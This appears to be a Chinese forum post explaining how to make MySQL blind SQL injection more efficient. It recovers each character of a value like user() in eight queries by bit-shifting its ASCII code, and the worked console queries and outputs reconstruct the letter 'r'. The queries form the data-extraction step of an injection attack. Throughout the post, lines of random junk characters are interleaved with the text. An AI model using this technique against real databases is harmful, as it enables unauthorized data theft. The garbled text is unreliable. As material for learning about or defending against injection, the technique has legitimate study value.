关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

5 a1 C0 H6 \* v9 V- ?
( |# }8 }1 X6 i4 z
; L8 J, p$ J+ W5 v2 S$ B& Q' X8 `& l下面将以查询mysql数据库当中user()的第一位为例:
: F- l; P" b' m1 ?. y' s1 u
% `' `" K4 t1 D: m, j+ Q& V# a. o

5 g! D! ]; f4 M4 T7 Z) f- ups:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
  Q( l6 N6 l# C3 Z& d. A% L


" t  p6 n' r" H) w$ o首先执行如下sql语句:
# l0 ?, ^6 c( H- y- U


mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
3 g2 b3 ]+ b6 O8 O: `% Q3 B

. o: e: `0 T% K- y: n; u
3 G. n$ c3 \/ F6 v我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
/ T, n% ~! i0 i! j. x


第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


: U, A5 G+ K) x
& ?' [3 e9 i% }. W如果运算结果为1,说明第一位为0,不为1

. r: C6 f# j/ R7 E- L

+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
/ ]1 G& |8 `3 k% W
+————————————–+
6 I' P  m# P+ x' J  C2 x
! m5 }( s, m8 C' R# T* `/ M| 1 |
1 g+ m, K0 y) o- l2 i' ^
! C1 R( N" s" R+————————————–+

1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0
# y2 H9 E7 a+ x7 ?

9 G5 R5 d1 A+ l- v! s0 h3 e
5 p2 S9 i; p6 b. |: ]  ~! D- O第二次我们来做6次右偏移来确定前两位


% O. k' I+ _3 b: w# M, G- b/ {/ V9 X
( w' B6 @' J9 ^5 I前两位可能是01或00,即依然可以与0做比较,
$ s+ b/ F- r! V! I
" o; w: ?: g8 U& O1 e( F0 F+ K& ymysql> select (ascii((substr(user(),1,1))) >> 6)=0;
) l- D; D& n7 |) P! e  l
+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+
7 f3 F1 o9 h5 G6 W# _
2 g& S; O- t- L$ ?% \$ W# ]/ `| 0 |
2 ~5 B+ X  `, K
+————————————–+

7 S% I: Z, ~! {7 Y1 row in set (0.00 sec)



" C3 |; L& {" j+ d* l( o( r9 X8 F# f结果为0,即第二位为1
8 v7 K! D; F9 v1 S- n0 K
6 X- ]9 ^1 M! g/ y5 X* i

# _$ c3 R8 U& o8 p开始猜测前三位为010或011
, B# o+ i* u6 y1 Q/ X  u


让我们看看010和011的ascii码是多少


0 v3 H) d- U9 R) k( ]
分别查询select b’011′ select b’010′



% X! @4 O- ~) X& Z5 M8 s  M获得结果 010 = 2 011 = 3


8 K% o9 \% X/ f9 y
/ z2 _3 _6 |: K9 l" q% F$ o& `# W执行如下sql:


- v+ z( B: O/ e4 h
2 l* k6 p) O5 D. v- d( ?' Y8 nmysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

6 k! ]% J3 T, V" M5 g+ t| (ascii((substr(user(),1,1))) >> 5)=2 |
( O$ L) L0 v0 h4 N6 r+ c8 G$ j  Y& u0 \
+————————————–+

3 y: `0 L& Z7 _: k6 }3 y| 0 |

+————————————–+
( F6 \- e: y2 E( z+ z  q+ W
即前三位不为010,而是011


4 j& Y0 ~" C" k: _
! O" E* G8 [' z$ E: v1 D9 z; O直到获得最后一位
$ _) K  ?; ^* c3 @4 n. N, T3 t
( C  F# l+ X! `

最终结果为:01110010

- i/ k6 K$ m. J

转换一下:
% M* N1 F) {) Y  }$ n/ q
+ A5 A% w, X7 n1 M6 r7 J/ e
. C" Q6 i4 z1 |+ Y& X* i
select b’01110010′
' g7 X% a; r) e3 G


查询结果

6 ^) X- v2 W0 f! G+ a

+————-+
- z2 _1 S! P: x3 u; ]+ T6 _
| b’01110010′ |

9 e2 @9 q  c3 B+————-+

1 ~- t& w( k  X| r |
1 T. B! Q6 w6 I6 p9 I- }7 F3 F
+————-+

* h' W8 k6 X  ], \# u2 R1 row in set (0.00 sec)
2 n+ B% f# `5 d2 W0 N3 t+ M
" c) V" K) S& v" K1 L

这样我们就获得了user()的第一位.其它位依此类推
6 I9 \2 @+ h3 M$ n) M+ e2 t
& \$ ~. B' T6 T% L8 a